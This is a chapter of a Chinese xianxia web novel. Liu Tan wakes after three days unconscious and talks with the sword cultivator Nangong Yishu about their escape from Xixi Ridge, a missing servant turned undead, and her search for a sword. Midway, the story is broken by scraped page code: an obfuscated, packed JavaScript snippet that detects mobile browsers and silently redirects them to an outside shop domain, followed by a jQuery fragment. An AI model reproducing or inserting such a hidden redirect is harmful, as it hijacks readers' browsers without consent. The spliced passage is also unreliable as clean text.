三日后,默云城柳府。
“家主醒了!李管家,家主醒了!!来人啊,家主醒了!!!”
柳潭犹如坠落无尽黑夜,冰冻席卷全身,不知何处。在他以为自己快要死了的时候,却又被人向上抛起,同时一束光亮起,带来温暖驱赶寒意,终见光明。
柳潭眼睛微微睁开,周围各种各样的声音涌来,脚步声、话语声、开门声……
看见眼前之人,柳潭思绪逐渐清醒,虚弱开口:“李伯?我不是死了吗,怎么会看见你?难道你也……”
话音未落,对方一巴掌扇在柳潭手心,整个屋子都安静下来:“瞎说什么呢?”
柳潭彻底清醒,从床上坐起,双手放在胸前,来来回回摸了摸自己,惊喜叫道:“我真没死!我还活着!我……”
又一巴掌落在柳潭脑袋上:“什么死不死的,再说那些不吉利的话。”
李速是跟随柳父的老人,做了柳家二十多年的管家,在柳潭心里就像是他的亲人,同样在李速心里早就将柳潭看作是自己的孩子一样。
见到唯一的亲人,柳潭扑到李速怀里,紧抱着他,突然“哇”地一声嚎啕大哭起来:“李伯,我好想你啊!你是不知道我都经历了什么,我差一点儿就回不来了,差一点儿就再也见不到你了!呜呜呜……”
柳潭像极了在外受了委屈的孩子,回到家里找长辈撑腰、求安慰。
闻言李速脸色也柔软下来,轻拍着柳潭的背:“没事了,没事了。大夫说你这是惊吓过度,休息一段时间就好了。”
柳潭从小胆子就小,特别容易受到惊吓,每次受到惊吓都得缓好几天,加上他又很爱哭,李速早就习以为常。
但每次见柳潭哭,李速还是忍不住心疼起来。
默云城原本有四大经商世家,而柳家就是其中之一。柳家主离世后其他三家都等着看柳家笑话,分割柳家产业。
那时的柳潭十七岁,还是个时常混迹各种酒楼茶馆教坊,“不学无术”的纨绔子弟。所有人都等着他败光柳家家业,却没想到柳潭突然改了性子,那个只知吃喝玩乐的膏粱子弟非但没有败光产业,相反在五年内将柳家产业越做越大,现下已经成为了默云城首富——六爷。
所有人都觉得柳潭背后有高人指点,但只有李速知道柳潭打小就聪明,就是贪玩好动,孩子心性。家主走后,柳潭也在一夜间长大了,为了柳家百年家业不毁在自己手里,在背后付出了多少,又吃了多少苦头。
怎么能不叫人心疼呢。
听柳潭的哭声小了些,李速说道:“我派人去查了那匹马,并没有任何问题,许是突遇什么才会发狂。以后出门身边多带些人,避免出现这种情况。”
柳潭摇头,心道:不是因为这个。
李速扶着柳潭的肩膀,擦去他脸上的泪水问:“昏迷了三日,身子可有不适?”
柳潭摇头,又顿住。
三日?
“我昏迷了三日?!”
李速点头。
想起什么来,柳潭问李速:“我是怎么回来的?”
“哦,一个姑娘带你回来了。”
柳潭又问道:“她人现在在哪儿?”
“……云水榭。”
柳潭立刻从床上跳下来,抓起一旁的衣服套上朝门外狂奔去。
李速在后面喊道:“穿鞋……”
但柳潭现在只想快点儿见到仙人,耳边除了风声其他什么也听不见。
***
阳光和煦,穿透树叶的缝隙洒下,南宫亦书倚窗而立,斑驳影子静静绽放,映在墙上静谧而神秘。
南宫亦书垂眸,视线停留在自己的左手,手背凉滑,白皙如美玉,指骨分明,纤长漂亮,就连小拇指上伴随她十七年的疤痕也消失了。
微风吹动竹林,竹叶抖动,发出萧萧声响。
南宫亦书失了神。
……
“仙人?”
“仙人!”
南宫亦书扭头,见柳潭大张双臂光着脚朝自己跑来。
南宫亦书说:“醒了。”
柳潭的视线落在南宫亦书身上,一袭浅蓝色衣裙,衬得人更加清冷。
“仙人,我们是怎么从息西岭出来的?”
“那些腐尸和藤蔓精最后怎么样了?”
“是你带我回来的吗?”
……
柳潭情绪有些激动,脱口而出一大串问题来。
而南宫亦书的回答十分简练。
“破阵。”
“死了。”
“不是,是你自己爬回来的。”
柳潭:“……”
“还有什么要问的吗?”
柳潭呆呆地摇头:“……没了。”
“好,那我问你一件事。”南宫亦书说。
“仙人但问无妨,在下必定知无不言。”
南宫亦书凝视着柳潭的眼睛问:“你可会剑术?”
柳潭有些懵,这是什么问题?
但还是如实回答:“不会啊。”
“当真不会?”
“我家世代行商,而且我从小身子骨弱,习不得剑。”柳潭茫然,“这是……发生什么了吗?”
“没事。”
南宫亦书也不知道自己在期待什么,明明早在柳潭昏迷期间她就探过柳潭的灵海,并非修行之人。
但息西岭突然出现的那道剑气,南宫亦书也绝对不会看错。
所以,到底是怎么回事?
南宫亦书问柳潭:“你还记得昏迷前发生了什么吗?”
柳潭空白了几秒,试图回想那日发生的事:“就有很多腐尸还有藤蔓,然后我看到一个腐尸从背后偷袭你,然后……然后……”
柳潭努力回想,但好像总有一层面纱阻挡,怎么也掀不开,撕不破。
“嘶,想不起来了。”
南宫亦书在心里轻笑一声,觉得自己真是练剑入了魔,不过一道突然出现一闪而过的剑气,竟也值得自己这么在意。
真是……
荒唐。
南宫亦书站在那儿,风袖飞扬,眉眼清绝,目光看向远处,带着若有若无的轻嘲。
柳潭抬头望着南宫亦书的侧影,心底涌现出一种难以说明的情绪。息西岭的南宫亦书是强大耀眼的,而这一刻柳潭却在她的身上看到了孤独。
世间行人千万,人来人往,皆有归处。而她好像独立于这个世界,不属于这个尘世。
说起来两人只不过因为偶然和特殊环境被迫凑在一起,其实柳潭对南宫亦书根本就不了解。
但每次看到她,柳潭总会生出微妙的心绪,让他放下戒备,选择相信她。
信任就是这么奇怪,有些人无论做什么你都信任不了,而有些人你仅凭一眼就毫无缘由的相信他。
窗外一片寂静,微风吹过,竹叶飘落,让人感到难得的宁静。
良久,南宫亦书提醒柳潭说:“关于息西岭发生的一切都不要同其他人说,也不要让别人知道你去过那里。”
“为什么?”
柳潭刚问出口就后悔了。息西岭是什么地方,邪祟当家,他这辈子都不会再去第二次。
果然,南宫亦书的回答也不让他意外。
南宫亦书说:“因为我不想被人当成邪祟,如果你想的话,当我没说。”
柳潭:“……明白。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162053|150418||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>其实南宫亦书并不在意这些。只不过,这三天她反复回忆了在息西岭遇到的事情,如果没有遇到那个孩童尸骨,她可能也会将发生的事归结于邪祟作怪。
但她在破除阵法之后意识到,其实他们从进入息西岭开始就已经在阵法产生的幻境之中。
而那阵法的目的却是封印或者说是隐藏一个孩童的尸骨。
满身伤痕的孩童,被人封印在乱坟岗……
南宫亦书手握着那块玉指骨,慢慢发烫,灼烧着她的掌心,却也让她无比清醒。
这件事,绝没表面这么简单……
柳潭张了张嘴,却又把到口的话咽了下去,眼中满是犹豫。
南宫亦书问:“想说什么?”
柳潭说:“……其实,我在息西岭的腐尸群里遇到了一个熟人——李二文,就是先前在息西岭失踪的人。”
李二文是柳潭手下的一位马夫,上面还有一个大哥,两人相依为命。他大哥李大武就是第一个在息西岭失踪后又活着回去的人。李大武死后,李二文疯了一样要去息西岭寻李大武口中的蝴蝶面女,他一直觉得就是那个蝴蝶面女害死了他大哥,所以后来听说有人要去息西岭抓蝴蝶面女,想也没想就加入了进去,然后……就没有然后了。
柳潭怎么也没想到再次碰到他会是在息西岭,按理说李二文同那些人在息西岭失踪也有四年了,而再次见面却是以这么特殊的方式——本来无比熟悉的脸却变得面目狰狞,张着血盆大口就要咬自己……
换谁都接受不了。
“仙人,你说……他们是活着的还是已经死了?”柳潭忍不住问道。
“非生非死,非人非鬼。”
非生非死……
非人……
非鬼……
柳潭不免叹息,世事无常。
很快柳潭收拾起复杂的心情对南宫亦书说:“仙人第一次来默云城吧,不如先在柳家住下,再做后面的打算?刚好过几日便是花灯节,各城花灯都会齐聚默云城,很是热闹。”
来到一个陌生的世界,南宫亦书一无所知也无路可去,有个安身之处已是难得。
至于后面的打算……
“对了,你知道哪里有铸剑的地方,或者说藏剑阁之类的地方?”
“仙人是要寻剑?”
“对。”
虽然灵伞南宫亦书也能熟练操控,但作为修行十几年的剑修,任何灵器终究都抵不过剑,所以当务之急还是需要重新寻得一柄衬手剑器。
柳潭仔细思索:“铸剑我不太了解,不过我知道有一个地方一定有你想要的东西。”
“什么地方?”
“创器灵阁,保存有天下各种灵器,并且皆为上等。不过……”
柳潭一脸纠结模样:“传言创器灵阁由万兮城慕容家看守,也只有他们能够打开。”
创器灵阁……
万兮城慕容家……
柳潭犹豫说,“仙人,你当真要去?”
“要去。”
但不是现在。
“柳潭,我想请你帮我个忙。”
突然被叫了名字,柳潭微怔:“仙人请讲。”
“帮我打听一下万兮城慕容家。”
柳潭点头,眼睛一转,看向南宫亦书的眼中充满热切的光芒:“仙人,你能带我去吗,我也想看看创器灵阁中到底藏了什么宝贝。”
南宫亦书睨了柳潭一眼,柳潭很快读懂了她眼底的话:你觉得呢?
“……”
好吧,不能。
柳潭正沮丧,又听见对方的声音。
“南宫亦书。”
柳潭:?
“我的名字。”